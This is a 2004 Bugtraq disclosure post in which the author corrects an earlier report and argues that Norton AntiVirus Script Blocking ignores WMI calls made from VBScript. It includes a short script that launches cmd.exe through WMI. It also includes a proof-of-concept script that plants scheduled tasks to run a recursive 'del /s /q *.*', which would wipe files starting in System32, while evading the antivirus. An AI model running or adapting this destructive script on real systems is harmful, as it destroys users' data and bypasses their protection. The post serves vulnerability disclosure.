Message-ID: <41784669.9050805@myrealbox.com>
Date: Thu, 21 Oct 2004 19:29:45 -0400
From: Daniel Milisic <dmilisic@...ealbox.com>
To: bugtraq@...urityfocus.com
Subject: Norton AntiVirus 2004/2005 Script Blocking Redux


Hello All,

A correction and some clarification in reference to:
http://lists.insecure.org/lists/fulldisclosure/2004/Oct/0540.html
Norton AntiVirus 2004 Script Blocking Failure (Rant and PoC enclosed)

I was incorrect on a detail: NAV 2004 "resident scanner" Application
Privileges.  If you read on you'll discover it's less relevant in the
Big Picture but I need to clear up the misconception.  By the time I
had expressed my view of Norton AntiVirus's other 'features' I was so
completely disgusted that I didn't bother to do anything else but
point out the obvious... namely that I can kill a process called
"CCapp.exe" using VBScript OK'd by Norton Script Blocking, by means of
WMI.  I was incorrect in stating NAV runs only with user-level
privileges.   I found the NAV 2005 trialware online and did some more
digging... NAV (Stand-alone NAV 2005, not the 'Suite') installs 11
(Eleven!!!) services on a clean, patched WinXP install.  Pardon the
sarcasm, but this *might* have something to do with that performance
problem I was complaining about in my original post.  If I wasn't so
infuriated with the whole Norton AV package I would have ferreted out
those services and come to the correct conclusion about NAV's
privileges... but frankly I was already pissed off at NAV for other
good reasons, and didn't feel that spending time on it held much
value.

Symantec will state that as a regular "User" you can't kill NAV Script
Protection's low-level services.  This is completely correct.  All you
can do as a "User" with WMI is kill the fugly frontend apps
"CCapp.exe" and "NMain.exe" (and probably wreak some as-yet
undiscovered havoc).  However, the correction doesn't conflict with
the other observations mentioned in my previous post.

This is about NAV Script Blocking ignoring potentially nasty WMI usage
in VBScript.  Windows Management Instrumentation is included with
98/ME/2000/XP, and was introduced to Windows as a way to allow remote
(or in this case local) system management.  Filesystem, registry, or
service manipulation is available within the permission boundaries of
the user making the WMI call.  Unfortunately, most Windows users at
home run with "Administrator" rights so as expected the 'maliciously
crafted' WMI running with Admin privs gets passed over by NAV Script
Blocking.  Never run as root... ummm forget it you know what I mean.

So what's the deal with Script Blocking and WMI anyway?  Should it not
be a big deal to completely block WMI from wscript.exe?  Does NAV's
use of WMI for hooking AV-update awareness in XP SP2 Security Center
have anything to do with it?  Does Symantec have to go over *every*
WMI hook and explicitly block/allow it?  If that's the case, what's
with talking-up the whizbang functionality of Script Blocking when
it's blatantly not near fully implemented.  Not to say I think it ever
could be, there's a blue sea of WMI calls to pick off of MSDN's site
with which to run amok.  Hope I'm wrong about that, just
speculating... more questions than answers at this point.

It gets more off the wall.  I could not get the first script below to
work properly under NAV 2005.  The script started (wscript.exe
launched) and terminated.  No flashy NAV warning window, nothing.
Now, even with Script Blocking and Auto-Protect disabled, I still
couldn't get the script to run.  I Selected the option to disable NAV
auto-start on Windows and reboot, *still* no-go!!!  The script ran as
expected on separate XP/SP2 and NT4+WMI test machines.  It seems I
can't help but to run into demented behaviour from this software at
every turn.

--- CMD-BY-WMI.vbs ---
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("cmd.exe")
--- CMD-BY-WMI.vbs ---

Ok, so that was a no-go while creating more questions.

Now, for a twist check this out:  Use WMI in a VBScript to plant a...
highly violent (or whatever) Scheduled Task.  Norton AntiVirus 2005
Script Blocking didn't blink; and two 'AT' events were added to
Scheduled Tasks:

------- BEGIN -- WRECK_MY_XP_WITHOUT_LETTING_NAV_KNOW.VBS ---------
'
' This was a three-minute MSDN drive-by hit for a WMI vector
' HINT: Something bad happens at 4:25am.
' Then Something REALLY bad happens at 4:26am.
'
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
     & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objNewJob = objWMIService.Get("Win32_ScheduledJob")
errJobCreated = objNewJob.Create _
     ("cmd.exe /c echo del /s /q *.* > toast_in_1_min.bat",
"********012500.000000-420", _
         True , 4, , True, JobID)
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
     & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objNewJob = objWMIService.Get("Win32_ScheduledJob")
errJobCreated = objNewJob.Create _
     ("cmd.exe toast_in_1_min.bat", "********012600.000000-420", _
         True , 4, , True, JobID)
'
-------- END -- WRECK_MY_XP_WITHOUT_LETTING_NAV_KNOW.VBS ---------

The funny part in a macabre way is that the Scheduled Tasks open in
\Windows\System32 by default.  Doh!

In hindsight I would have originally preferred to dig into things more
deeply than draw a partially misleading conclusion... but my purpose
was to demonstrate how completely miserable Norton AntiVirus is in
general.  In fact most of my original post to Full Disclosure was
dedicated to that broader (and I think more important point) which I
find humorous isn't a topic of debate at this time ;)

Symantec e-mailed me a curteous response acknowledging the issue.
They also mentioned that "We will work directly with anyone who
believes they have found a security issue in a Symantec product to
validate the problem and coordinate any response deemed necessary."
Even me.  Maybe I took that little outro the wrong way but it came off
sounding like this was some kind of horrible, horrible news I dumped
on them out of nowhere, and they'd appreciate being the first to know
next time.

My Response:  If such diligence is held in genuine value, why is the
shiny new NAV 2005 shipping with the *same* flaws as NAV 2004 (and
probably elder versions) when the WMI issues has been publically known
since at *least* July?  See
http://seclists.org/lists/vuln-dev/2004/Jul/0037.html
for a less dramatic illustration of "Fun with NAV's WMI handling".  No
doubt this knowledge has been in the hands of the baddies for a LOT
longer than three months.  All I did was clobber NAV in a way that got
easily recognized.  If any of this was *really* news I would have
talked to Symantec privately first, because (to me anyway, not judging
anyone) it would have been the Right Thing(tm) to do.

Regards,
Dan M.

Powered by blists - more mailing lists